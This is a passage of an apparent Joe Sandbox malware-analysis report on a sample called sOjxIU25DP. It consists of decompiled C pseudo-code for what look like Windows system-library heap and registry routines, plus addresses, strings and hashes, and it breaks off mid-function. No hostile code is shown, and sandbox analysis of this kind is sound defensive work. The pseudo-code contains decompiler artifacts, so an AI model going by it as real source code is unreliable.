								E34CD8A60(_t68, _t69);
								_t61 = _t59 - 8;
							}
							if( *(_t61 + 4) == 0x20) {
								L22:
								_t59 =  *_t59;
								_push(1);
								_pop(1);
								continue;
							} else {
								_t53 = _t75;
								_t69 = _t61;
								while(( *(_t69 + 0x20) & 0x00000004) == 0) {
									_t53 = _t53 + 1;
									_t69 = _t69 + 0x30;
									if(_t53 < 0x20) {
										continue;
									} else {
										goto L22;
									}
									goto L24;
								}
								_t55 =  *(_t61 + 4) + 1;
								 *(_t61 + 4) = _t55;
								 *(_t61 + 0x14) =  !_t55;
								_t12 = _t69 + 0x18; // 0x100000016
								_t61 = _t12;
								if(_t61 == 0) {
									goto L22;
								} else {
									L9:
									 *((intOrPtr*)(_t65 + 8)) = 8;
									 *_v96 = _t65;
									L10:
									_pop(_t72);
									_pop(_t76);
									_pop(_t58);
									return L34CC4B50(_t75, _t58, _v8 ^ _t82, _t69, _t72, _t76);
								}
							}
							goto L24;
						}
						_t60 = E34C95D90(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t75, 0x618);
						if(_t60 == 0) {
							_t75 = 0xc0000017;
							goto L10;
						} else {
							L18();
							 *((intOrPtr*)(_t60 + 4)) = 1;
							_t65 = _t60 + 0x18;
							 *((intOrPtr*)(_t60 + 0x14)) = 0xfffffffe;
							_t48 = _t60 + 8;
							_t69 =  *_t73;
							if( *((intOrPtr*)(_t69 + 4)) != _t73) {
								_t66 = 3;
								asm("int 0x29");
								 *_t66 = 0x74736c46;
								_push("true");
								 *((intOrPtr*)(_t66 + 0x10)) = 0;
								_t67 = _t66 + 0x1c;
								_pop(_t49);
								do {
									 *((intOrPtr*)(_t67 - 4)) = 0;
									 *_t67 = 0;
									_t67 = _t67 + 0x30;
									 *((intOrPtr*)(_t67 - 0x2c)) = 0xc;
									 *((intOrPtr*)(_t67 - 0x28)) = 0;
									_t49 = _t49 - 1;
								} while (_t49 != 0);
								return _t49;
							} else {
								 *_t48 = _t69;
								 *((intOrPtr*)(_t48 + 4)) = _t73;
								 *((intOrPtr*)(_t69 + 4)) = _t48;
								 *_t73 = _t48;
								goto L9;
							}
						}
					}
				}
				L24:
			}

0x34cb360f
0x34cb3617
0x34cb3621
0x34cb3625
0x34cb3628
0x34cb362b
0x34cb362c
0x34cb362d
0x34cb3630
0x34cf2969
0x34cf2969
0x00000000
0x34cb3636
0x34cb3636
0x34cb3638
0x34cb363c
0x00000000
0x34cb3642
0x34cb3642
0x34cb3647
0x34cb364a
0x34cb364e
0x34cb3657
0x34cf2925
0x34cf2929
0x34cf292d
0x34cf2935
0x34cf2936
0x34cf293a
0x34cf2942
0x34cf2946
0x34cf294a
0x34cf2952
0x34cf2957
0x34cf2957
0x34cb3661
0x34cf295f
0x34cf295f
0x34cf2961
0x34cf2963
0x00000000
0x34cb3667
0x34cb3667
0x34cb3669
0x34cb366b
0x34cb36ab
0x34cb36ac
0x34cb36b2
0x00000000
0x34cb36b4
0x00000000
0x34cb36b4
0x00000000
0x34cb36b2
0x34cb3674
0x34cb3675
0x34cb367a
0x34cb367d
0x34cb367d
0x34cb3682
0x00000000
0x34cb3688
0x34cb3688
0x34cb368c
0x34cb3693
0x34cb3695
0x34cb369b
0x34cb369c
0x34cb369d
0x34cb36a8
0x34cb36a8
0x34cb3682
0x00000000
0x34cb3661
0x34cb36cd
0x34cb36d1
0x34cb3701
0x00000000
0x34cb36d3
0x34cb36d5
0x34cb36da
0x34cb36e1
0x34cb36e4
0x34cb36eb
0x34cb36ee
0x34cb36f3
0x34cb370a
0x34cb370b
0x34cb370f
0x34cb3715
0x34cb3717
0x34cb371a
0x34cb371d
0x34cb371e
0x34cb371e
0x34cb3721
0x34cb3723
0x34cb3726
0x34cb372d
0x34cb3730
0x34cb3730
0x34cb3735
0x34cb36f5
0x34cb36f5
0x34cb36f7
0x34cb36fa
0x34cb36fd
0x00000000
0x34cb36fd
0x34cb36f3
0x34cb36d1
0x34cb363c
0x00000000

Strings

Flst, xrefs: 34CB3651

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: Flst
API String ID: 0-2374792617
Opcode ID: 55b524ce4cfcdc9c66252afa7baa43a0689105a76a0387766dc39bc70444f7f7
Instruction ID: e4d7f379449f7b5633f7a9817fc44ddc94282a7bc9bb94ca52ad607899f67c6b
Opcode Fuzzy Hash: 55b524ce4cfcdc9c66252afa7baa43a0689105a76a0387766dc39bc70444f7f7
Instruction Fuzzy Hash: 8441C9B1605301DFEB04CF19C580A06FBEAFF89710F14816EE899CB291DBB2D946CB91

Uniqueness

Uniqueness Score: -1.00%

Function 34C796E0 Relevance: 1.3, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E34C796E0(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v29;
				char _v30;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t33;
				char* _t43;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t56;
				void* _t65;
				char _t66;
				intOrPtr* _t68;
				intOrPtr* _t69;

				_t65 = __edx;
				L34C92330(_t33, 0x34d76814);
				_t56 = _a4;
				_t59 = _t56;
				_t68 = E34C79A6E(_t56);
				if(_t68 != 0) {
					 *((intOrPtr*)(_t68 + 0x10)) =  *((intOrPtr*)(_t68 + 0x10)) + 1;
					_t66 = 0;
					goto L6;
				} else {
					_t68 = E34C95D90(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35, "true");
					if(_t68 == 0) {
						_t66 = 0xc000009a;
						goto L6;
					} else {
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_t43 =  &_v20;
						_push(_t43);
						_push(0x34c79870);
						_push(0);
						_v20 = _t56;
						_v16 = 0xc0000225;
						L9();
						_t66 = _t43;
						if(_t66 < 0) {
							L6:
							E34C924D0(0x34d76814);
							if(_t66 < 0) {
								if(_t68 != 0) {
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
								}
							}
							return _t66;
						} else {
							_t66 = _v16;
							if(_t66 < 0) {
								goto L6;
							} else {
								 *((intOrPtr*)(_t68 + 8)) = _v12;
								 *((intOrPtr*)(_t68 + 0xc)) = _v8;
								 *((intOrPtr*)(_t68 + 0x10)) = 1;
								_t46 =  *0x34d733e8; // 0x77e133e4
								if( *_t46 != 0x34d733e4) {
									_push(3);
									asm("int 0x29");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push("true");
									_push(0x34d5b9b0);
									L34CD7BE4(_t56, _t66, _t68);
									if(_a4 != 0 || _a8 == 0) {
										_t48 = 0xc000000d;
									} else {
										_v29 = 0;
										_t64 = 0x1000;
										if(( *( *[fs:0x18] + 0xfca) & 0x00001000) == 0) {
											_t57 = 0;
											_v30 = 0;
											_t64 = 0;
											E34CA19DF(0);
										} else {
											_t57 = 1;
											_v30 = 1;
										}
										E34CA2755(_t65);
										_v8 = _v8 & 0x00000000;
										_t69 =  *0x34d75d8c; // 0x4982ce0
										while(_t69 != 0x34d75d8c) {
											_t64 = _a8;
											 *0x34d791e0(_t69, _a12,  &_v29);
											_a8();
											if(_v29 == 0) {
												_t69 =  *_t69;
												continue;
											}
											break;
										}
										_v8 = 0xfffffffe;
										E34C79850(_t57, _t64);
										_t48 = 0;
									}
									 *[fs:0x0] = _v20;
									return _t48;
								} else {
									 *_t68 = 0x34d733e4;
									 *((intOrPtr*)(_t68 + 4)) = _t46;
									 *_t46 = _t68;
									 *0x34d733e8 = _t68;
									goto L6;
								}
							}
						}
					}
				}
			}

0x34c796e0
0x34c796f0
0x34c796f5
0x34c796f8
0x34c796ff
0x34c79703
0x34cdba19
0x34cdba1c
0x00000000
0x34c79709
0x34c7971a
0x34c7971e
0x34cdba23
0x00000000
0x34c79724
0x34c79728
0x34c79729
0x34c7972a
0x34c7972b
0x34c7972c
0x34c7972d
0x34c79730
0x34c79731
0x34c79736
0x34c79738
0x34c7973b
0x34c79742
0x34c79747
0x34c7974b
0x34c79782
0x34c79787
0x34c7978e
0x34cdba2f
0x34cdba41
0x34cdba41
0x34cdba2f
0x34c7979a
0x34c7974d
0x34c7974d
0x34c79752
0x00000000
0x34c79754
0x34c7975c
0x34c79762
0x34c79765
0x34c7976c
0x34c79773
0x34c7979d
0x34c797a0
0x34c797a2
0x34c797a3
0x34c797a4
0x34c797a5
0x34c797a6
0x34c797a7
0x34c797a8
0x34c797a9
0x34c797aa
0x34c797ab
0x34c797ac
0x34c797ad
0x34c797ae
0x34c797af
0x34c797b0
0x34c797b2
0x34c797b7
0x34c797c0
0x34cdba53
0x34c797d0
0x34c797d0
0x34c797da
0x34c797e6
0x34c79842
0x34c79844
0x34c79847
0x34c79849
0x34c797e8
0x34c797e8
0x34c797ea
0x34c797ea
0x34c797ed
0x34c797f2
0x34c797f6
0x34c797fc
0x34c7980c
0x34c7980f
0x34c79815
0x34c7981c
0x34c7981e
0x00000000
0x34c7981e
0x00000000
0x34c7981c
0x34c79822
0x34c79829
0x34c7982e
0x34c7982e
0x34c79833
0x34c7983f
0x34c79775
0x34c79775
0x34c79777
0x34c7977a
0x34c7977c
0x00000000
0x34c7977c
0x34c79773
0x34c79752
0x34c7974b
0x34c7971e

Strings

3w3w, xrefs: 34C79757

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: 3w3w
API String ID: 3446177414-4263324190
Opcode ID: da5393bd7c0884b58ac4120145ffef1b3dfbd7e796ad15ac52fc7a7730042c45
Instruction ID: 71f03ecf62e1913bf440b5fef17297f0a43b78ebad202c9cf7fab31f76ceae99
Opcode Fuzzy Hash: da5393bd7c0884b58ac4120145ffef1b3dfbd7e796ad15ac52fc7a7730042c45
Instruction Fuzzy Hash: 7C21CF76A00B10EFE7218F698850B5ABFFAEF84B64F15082DA6559B350EB30D905CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 34CFC6F2 Relevance: 1.3, Strings: 1, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E34CFC6F2(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_push("true");
				_v16 = __edx;
				_pop(_t40);
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = L34CC2B00();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = E34C95D90(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = L34CC2B00();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t38 = _t47 + 0xc;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x34cfc6fd
0x34cfc701
0x34cfc704
0x34cfc707
0x34cfc70d
0x34cfc70e
0x34cfc712
0x34cfc717
0x34cfc71a
0x34cfc71b
0x34cfc71c
0x34cfc71d
0x34cfc71f
0x34cfc722
0x34cfc729
0x34cfc72a
0x34cfc72b
0x34cfc732
0x34cfc736
0x34cfc738
0x34cfc738
0x34cfc743
0x34cfc7ac
0x34cfc7ae
0x34cfc7b0
0x34cfc7c0
0x34cfc7c2
0x34cfc7cf
0x34cfc7cf
0x34cfc7d5
0x34cfc7da
0x34cfc7da
0x34cfc7b5
0x34cfc7ba
0x00000000
0x34cfc7ba
0x34cfc758
0x34cfc75c
0x34cfc766
0x34cfc767
0x34cfc76d
0x34cfc76e
0x34cfc770
0x34cfc771
0x34cfc779
0x34cfc77d
0x34cfc7be
0x00000000
0x34cfc7be
0x34cfc783
0x34cfc78b
0x34cfc78b
0x34cfc790
0x34cfc794
0x00000000
0x34cfc796
0x34cfc799
0x34cfc7a3
0x34cfc7a5
0x34cfc7a5
0x00000000
0x34cfc7a3
0x34cfc794
0x34cfc75e
0x00000000

Strings

BinaryName, xrefs: 34CFC722

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: ee3bb5691f1dc78ac429bd98b3e4b3541467bdd94fd0408dbfbcbdc2dd5695c5
Instruction ID: 71ec561af1e1fd21f1762b099dc2dc971ffe99fc3c35094874eed7fd0e6c3634
Opcode Fuzzy Hash: ee3bb5691f1dc78ac429bd98b3e4b3541467bdd94fd0408dbfbcbdc2dd5695c5
Instruction Fuzzy Hash: 2431E37AA00A19AFEB15CA59CC45E6FB7B6FF82720F11412AE801A7250DB35DE05C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 34CD717A Relevance: .7, Instructions: 705
COMMONCrypto

Download Yara Rule

C-Code - Quality: 57%

			E34CD717A(signed int __ecx, signed int __edx, signed int _a4, signed short _a8, signed short _a12) {
				unsigned int _v5;
				signed int _v6;
				signed int _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed short _v32;
				signed int _v36;
				signed int* _v40;
				signed short _v44;
				signed int _v48;
				signed short _v52;
				signed int _v56;
				char _v60;
				unsigned int _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t250;
				signed short _t252;
				signed short _t253;
				signed short _t254;
				unsigned int _t267;
				signed short _t270;
				signed int _t271;
				signed int* _t274;
				signed int _t276;
				signed int _t281;
				signed char _t282;
				signed short _t283;
				signed short _t289;
				signed char _t290;
				signed int _t295;
				signed short _t298;
				signed short* _t299;
				signed int _t305;
				signed short _t307;
				signed int _t310;
				signed short _t315;
				void* _t318;
				signed int _t322;
				signed short _t323;
				signed short _t328;
				signed char* _t329;
				signed char _t330;
				signed int _t335;
				signed int _t344;
				signed short _t348;
				signed short _t351;
				signed char _t353;
				signed char _t355;
				signed short _t356;
				signed short _t358;
				signed short _t359;
				signed short _t361;
				unsigned int _t362;
				signed int _t363;
				signed int _t370;
				signed int _t372;
				signed short _t373;
				signed short _t374;
				unsigned int _t378;
				void* _t387;
				unsigned int _t392;
				void* _t393;
				signed short _t395;
				signed int _t396;
				signed short _t397;
				signed int* _t406;
				intOrPtr _t409;
				signed short _t425;
				unsigned int _t430;
				intOrPtr* _t431;
				unsigned int _t437;
				void* _t442;
				void* _t443;
				signed short* _t444;
				unsigned int _t445;
				signed short _t449;
				unsigned int _t456;
				void* _t463;
				signed int _t476;
				void* _t478;
				signed char _t480;
				signed short _t481;
				void* _t483;
				signed int _t486;
				signed int _t491;
				signed int* _t492;
				signed short* _t494;
				void* _t497;
				signed short _t498;
				signed short _t499;
				intOrPtr _t504;
				signed int _t509;
				unsigned int _t511;
				signed int _t519;
				signed short _t521;
				signed int _t523;
				signed short _t527;
				signed int _t528;
				signed int _t531;
				signed int _t535;
				signed int _t536;
				signed int _t541;
				signed short _t542;
				signed short* _t545;
				signed char* _t546;
				unsigned int _t547;
				signed short _t550;
				void* _t552;
				signed int _t553;
				signed short _t555;

				_t535 = __ecx;
				_t378 = 0;
				_t249 = __edx;
				_v12 = __ecx;
				_v20 = __edx;
				_t518 = 0;
				if( *((intOrPtr*)(__ecx + 8)) != 0xddeeddee) {
					__eflags =  *(__ecx + 0x44) & 0x01000000;
					if(( *(__ecx + 0x44) & 0x01000000) != 0) {
						L148:
						_t250 = E34C93C60(_t535, _t518, _t249);
						_t519 = _t250 & 0x000000ff;
						__eflags = _t250;
						if(_t250 == 0) {
							goto L7;
						}
						L149:
						_t252 = _a12;
						__eflags = _t252;
						if(_t252 != 0) {
							__eflags = 0;
							 *_t252 = 0;
						}
						_t253 = _a8;
						__eflags = _t253;
						if(_t253 != 0) {
							 *_t253 = _t378;
						}
						_t254 = E34C93C20(_t535);
						__eflags = _t254;
						if(_t254 != 0) {
							__eflags = _a4 & 0x10000000;
							if((_a4 & 0x10000000) == 0) {
								E34D3E8B1(_t535, _v20);
							}
						}
						goto L7;
					}
					__eflags =  *(__ecx + 0x48) & 0x00000001;
					if(__eflags == 0) {
						__eflags = __edx & 0x00000007;
						if((__edx & 0x00000007) != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(__edx);
							_t387 = 9;
							E34D45FED(_t387, __ecx);
						} else {
							_t518 = __edx - 8;
							__eflags =  *(_t518 + 7) - 5;
							if( *(_t518 + 7) == 5) {
								_t518 = _t518 - (( *(_t518 + 6) & 0x000000ff) << 3);
								__eflags = _t518;
							}
							__eflags =  *(_t518 + 7) & 0x0000003f;
							if(( *(_t518 + 7) & 0x0000003f) == 0) {
								_push(_t378);
								_push(_t378);
								_push(_t378);
								_push(_t518);
								_push("true");
								_pop(_t463);
								E34D45FED(_t463, _t535);
								_t518 = _t378;
							}
						}
					} else {
						_t518 = E34C7A4D2(0, __ecx, __edx, 0, __ecx, __eflags);
					}
					__eflags = _t518;
					if(_t518 != 0) {
						_t249 = _v20;
						__eflags =  *((char*)(_t249 - 1)) - 5;
						if( *((char*)(_t249 - 1)) != 5) {
							L59:
							__eflags =  *(_t518 + 7) - _t378;
							if( *(_t518 + 7) >= _t378) {
								goto L148;
							}
							_t392 = _t518 >> 0x00000003 ^  *_t518 ^  *0x34d76964 ^ _t535;
							__eflags = _t392;
							if(_t392 != 0) {
								L146:
								_push(_t378);
								_push(_t378);
								_push(_t378);
								_push(_t518);
								_t393 = 3;
								E34D45FED(_t393, _t535);
								L65:
								_t519 = 1;
								goto L149;
							}
							_t395 =  *(_t518 - (_t392 >> 0xd));
							_v16 = _t395;
							__eflags = _t395;
							if(_t395 == 0) {
								goto L146;
							}
							_t536 =  *(_t395 + 4);
							_t476 =  *(_t518 + 4) >> 0x00000008 & 0x0000ffff;
							_v24 = _t536;
							_v32 = _t378;
							_v36 = _t476;
							_t396 =  *( *((intOrPtr*)( *_t395)) + 0xc);
							_v44 = _t396;
							_t267 =  *(_t536 + 0x10) ^ _t396 ^ _t536 ^  *0x34d76964;
							__eflags = (_t267 & 0x0000ffff) + (_t267 >> 0x10) * _t476 + _v24 - _t518;
							if((_t267 & 0x0000ffff) + (_t267 >> 0x10) * _t476 + _v24 == _t518) {
								_t270 = E34C93C40();
								__eflags = _t270;
								if(_t270 == 0) {
									_t271 = 0x7ffe0380;
								} else {
									_t271 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								_t478 = 1;
								__eflags =  *_t271 - _t378;
								if( *_t271 != _t378) {
									_t271 =  *[fs:0x30];
									__eflags =  *(_t271 + 0x240) & 1;
									if(( *(_t271 + 0x240) & 1) != 0) {
										_t271 = E34D3F247( *((intOrPtr*)(_v44 + 0xc)), _t518 + 8, 2);
										_t478 = 1;
										__eflags = 1;
									}
								}
								__eflags = _t478 -  *0x7ffe036a;
								_t397 = _t378;
								_v44 = _t397;
								asm("sbb eax, eax");
								_v48 = _t271 & 0x00000064;
								_t274 = _v16 + 0x10;
								_v40 = _t274;
								while(1) {
									_t541 =  *_t274;
									_t276 = _t541 >> 0x10;
									_v28 = _t541;
									__eflags = _t276 & 0x00008000;
									if((_t276 & 0x00008000) != 0) {
										goto L77;
									}
									asm("lock cmpxchg [esi], ecx");
									_t542 = _v28;
									__eflags = _t541 - _t542;
									if(_t541 == _t542) {
										L79:
										 *(_t518 + 7) = 0x80;
										__eflags = _t542 - 0xffffffff;
										if(_t542 != 0xffffffff) {
											_t521 = _v16;
											asm("btr [eax], ecx");
											__eflags =  *((intOrPtr*)(_t521 + 0xc)) - _t378;
											if( *((intOrPtr*)(_t521 + 0xc)) == _t378) {
												L88:
												_t281 = (_t542 & 0x0000ffff) + _v32 + 0x00000001 | _v36 << 0x00000010;
												_t545 =  *_t521;
												__eflags = _t281 -  *(_t521 + 0x18);
												if(_t281 !=  *(_t521 + 0x18)) {
													L127:
													 *(_t521 + 0x10) = _t281;
													_t282 =  *(_t521 + 0x1c);
													__eflags = _t282 & 0x00000002;
													if((_t282 & 0x00000002) != 0) {
														L64:
														_t535 = _v12;
														goto L65;
													}
													_t283 = E34C93AF6(_t545, _t521);
													__eflags = _t283;
													if(_t283 == 0) {
														goto L64;
													}
													_t546 = _t521 + 0x1c;
													while(1) {
														_t480 =  *_t546;
														__eflags = _t480;
														if(_t480 == 0) {
															goto L64;
														}
														__eflags = _t480 & 0x00000002;
														if((_t480 & 0x00000002) != 0) {
															goto L64;
														}
														asm("lock cmpxchg [esi], ecx");
														__eflags = _t480 - _t480;
														if(_t480 != _t480) {
															continue;
														}
														_t406 =  *_t521;
														_t547 = _t378;
														_v40 = _t406;
														do {
															_t289 = _t406 + ((( *(_t406 + 0x5e) & 0x0000ffff) + _t547 & 0x0000000f) + 2) * 4;
															_t481 =  *_t289;
															_v44 = _t289;
															__eflags = _t481;
															if(_t481 != 0) {
																_t290 =  *(_t481 + 0x1c);
																__eflags = _t290 & 0x00000001;
																if((_t290 & 0x00000001) != 0) {
																	goto L140;
																}
																asm("lock cmpxchg [edi], ecx");
																_t521 = _v16;
																__eflags = _t481 - _t481;
																if(_t481 == _t481) {
																	_t523 = 0xfffffffd;
																	_t295 =  *(_t481 + 0x1c);
																	do {
																		__eflags = _t295 & _t523;
																		asm("lock cmpxchg [esi], ecx");
																	} while ((_t295 & _t523) != 0);
																	__eflags = _t295 - 2;
																	if(_t295 != 2) {
																		goto L64;
																	}
																	_t409 =  *( *_t481);
																	 *_t481 = _t378;
																	_t483 = _t481 + 0x20;
																	L81:
																	E34C920E0(_t409, _t483);
																	goto L64;
																}
																L139:
																_t406 = _v40;
																goto L140;
															}
															asm("lock cmpxchg [edx], ecx");
															__eflags = 0;
															if(0 == 0) {
																goto L64;
															}
															goto L139;
															L140:
															_t547 = _t547 + 1;
															__eflags = _t547 - 0x10;
														} while (_t547 < 0x10);
														_t235 =  *_t521 + 0x5c; // 0x56ff8bc3
														_t483 = _t521 + 0x20;
														_t409 =  *((intOrPtr*)( *((intOrPtr*)( *( *_t521) + 0xc)) + 0x3c0 + ( *_t235 & 0x0000ffff) * 4)) + 0x48;
														goto L81;
													}
													goto L64;
												}
												_v36 =  *((intOrPtr*)( *_t545 + 0x10));
												_v44 = _t545[0x2c];
												_t417 = _t545[0x2a];
												__eflags = _t417 - _t478;
												if(_t417 != _t478) {
													L92:
													_t298 =  *_t521;
													_v44 = _t298;
													_t299 = _t298 + 4;
													_t550 =  *_t299;
													 *_t299 = 0;
													__eflags = _t550;
													if(_t550 == 0) {
														L118:
														__eflags =  *(_t521 + 0x16) & 0x00000003;
														_t551 =  *( *_v44 + 0xc);
														_v44 =  *( *_v44 + 0xc);
														_v48 =  *_t521;
														if(( *(_t521 + 0x16) & 0x00000003) != 0) {
															_v56 =  *((intOrPtr*)(_t521 + 4)) + 0x0000101f & 0xfffff000;
															_t315 = E34D40E2D(_t521);
															_push( &_v60);
															_t425 = ( *(_t521 + 0x18) & 0x0000ffff) * (_t315 & 0x0000ffff) << 3;
															__eflags = _t425;
															_v52 = _t425;
															_t318 = E34C7F0E1( *((intOrPtr*)(_t551 + 0xc)), _t478);
															_t417 = _t425;
															_push(_t318);
															_push( &_v52);
															_push( &_v56);
															_push(0xffffffff);
															E34CC2EB0();
														}
														 *( *((intOrPtr*)(_t521 + 4)) + 0xc) = _t378;
														E34C9252B(_t551,  *((intOrPtr*)(_t521 + 4)), _t417);
														_t305 =  *(_t521 + 0x18) & 0x0000ffff;
														_v36 = _t305;
														_t307 = _v48 + 0x50;
														__eflags = _t307;
														_v36 =  ~_t305;
														_v32 = _t307;
														goto L121;
														do {
															do {
																L121:
																_t552 =  *_t307;
																_t486 =  *((intOrPtr*)(_t307 + 4));
																_v48 = _t486;
																asm("lock cmpxchg8b [edi]");
																__eflags = _t552 - _t552;
																_t307 = _v32;
															} while (_t552 != _t552);
															__eflags = _t486 - _v48;
														} while (_t486 != _v48);
														_t527 = _v16;
														_t378 = 0;
														__eflags = 0;
														 *((intOrPtr*)(_t527 + 4)) = 0;
														asm("lock inc dword [eax+0x20]");
														 *((intOrPtr*)(_t527 + 0x10)) = 0;
														_t553 = 0xfffffffe;
														_t310 =  *(_t527 + 0x1c);
														do {
															__eflags = _t310 & _t553;
															asm("lock cmpxchg [edx], ecx");
														} while ((_t310 & _t553) != 0);
														__eflags = _t310 - 1;
														if(_t310 != 1) {
															goto L64;
														}
														_t483 = _t527 + 0x20;
														_t409 =  *((intOrPtr*)( *_t527));
														 *_t527 = 0;
														goto L81;
													}
													_t528 = 0xfffffff9;
													_t322 =  *(_t550 + 0x1c);
													do {
														__eflags = _t322 & _t528;
														asm("lock cmpxchg [edx], ecx");
													} while ((_t322 & _t528) != 0);
													_t521 = _v16;
													__eflags = _t322 - 6;
													if(_t322 != 6) {
														_t417 = _v44;
														_t323 = E34C93AF6(_v44, _t550);
														__eflags = _t323;
														if(_t323 == 0) {
															L117:
															_t478 = 1;
															__eflags = 1;
															goto L118;
														} else {
															goto L98;
														}
														while(1) {
															L98:
															_t491 =  *(_t550 + 0x1c);
															__eflags = _t491;
															if(_t491 == 0) {
																goto L117;
															}
															__eflags = _t491 & 0x00000002;
															if((_t491 & 0x00000002) != 0) {
																goto L117;
															}
															_t417 = _t491 | 0x00000002;
															asm("lock cmpxchg [edi], ecx");
															_t521 = _v16;
															__eflags = _t491 - _t491;
															if(_t491 != _t491) {
																continue;
															}
															_t492 =  *_t550;
															_t430 = _t378;
															_v40 = _t492;
															_v36 = _t378;
															while(1) {
																_t154 = _t492 + 0x5e; // 0xf28b56ff
																_t494 = _t492 + (( *_t154 & 0x0000ffff) + _t430 & 0x0000000f) * 4 + 8;
																_v48 = _t494;
																_t328 =  *_t494;
																_v32 = _t328;
																__eflags = _t328;
																if(_t328 != 0) {
																	goto L105;
																}
																_t417 = _t550;
																asm("lock cmpxchg [edx], ecx");
																__eflags = _t328;
																if(_t328 == 0) {
																	goto L117;
																}
																L107:
																_t430 = _v36;
																L108:
																_t430 = _t430 + 1;
																_v36 = _t430;
																__eflags = _t430 - 0x10;
																if(_t430 >= 0x10) {
																	_t431 =  *_t550;
																	_t417 =  *((intOrPtr*)( *((intOrPtr*)( *_t431 + 0xc)) + 0x3c0 + ( *(_t431 + 0x5c) & 0x0000ffff) * 4)) + 0x48;
																	__eflags =  *((intOrPtr*)( *((intOrPtr*)( *_t431 + 0xc)) + 0x3c0 + ( *(_t431 + 0x5c) & 0x0000ffff) * 4)) + 0x48;
																	L115:
																	_t497 = _t550 + 0x20;
																	L116:
																	E34C920E0(_t417, _t497);
																	goto L117;
																}
																_t492 = _v40;
																continue;
																L105:
																_t329 = _t328 + 0x1c;
																_v28 = _t329;
																_t478 = 1;
																_t330 =  *_t329;
																__eflags = 1 & _t330;
																if((1 & _t330) != 0) {
																	goto L108;
																}
																asm("lock cmpxchg [edi], ecx");
																_t521 = _v16;
																__eflags = _v32 - _v32;
																if(_v32 == _v32) {
																	_t531 = 0xfffffffd;
																	_t335 =  *_v28;
																	do {
																		_t417 = _t335 & _t531;
																		__eflags = _t417;
																		asm("lock cmpxchg [esi], ecx");
																	} while (_t417 != 0);
																	_t521 = _v16;
																	__eflags = _t335 - 2;
																	if(_t335 != 2) {
																		goto L118;
																	}
																	_t498 = _v32;
																	_t417 =  *( *_t498);
																	 *_t498 = _t378;
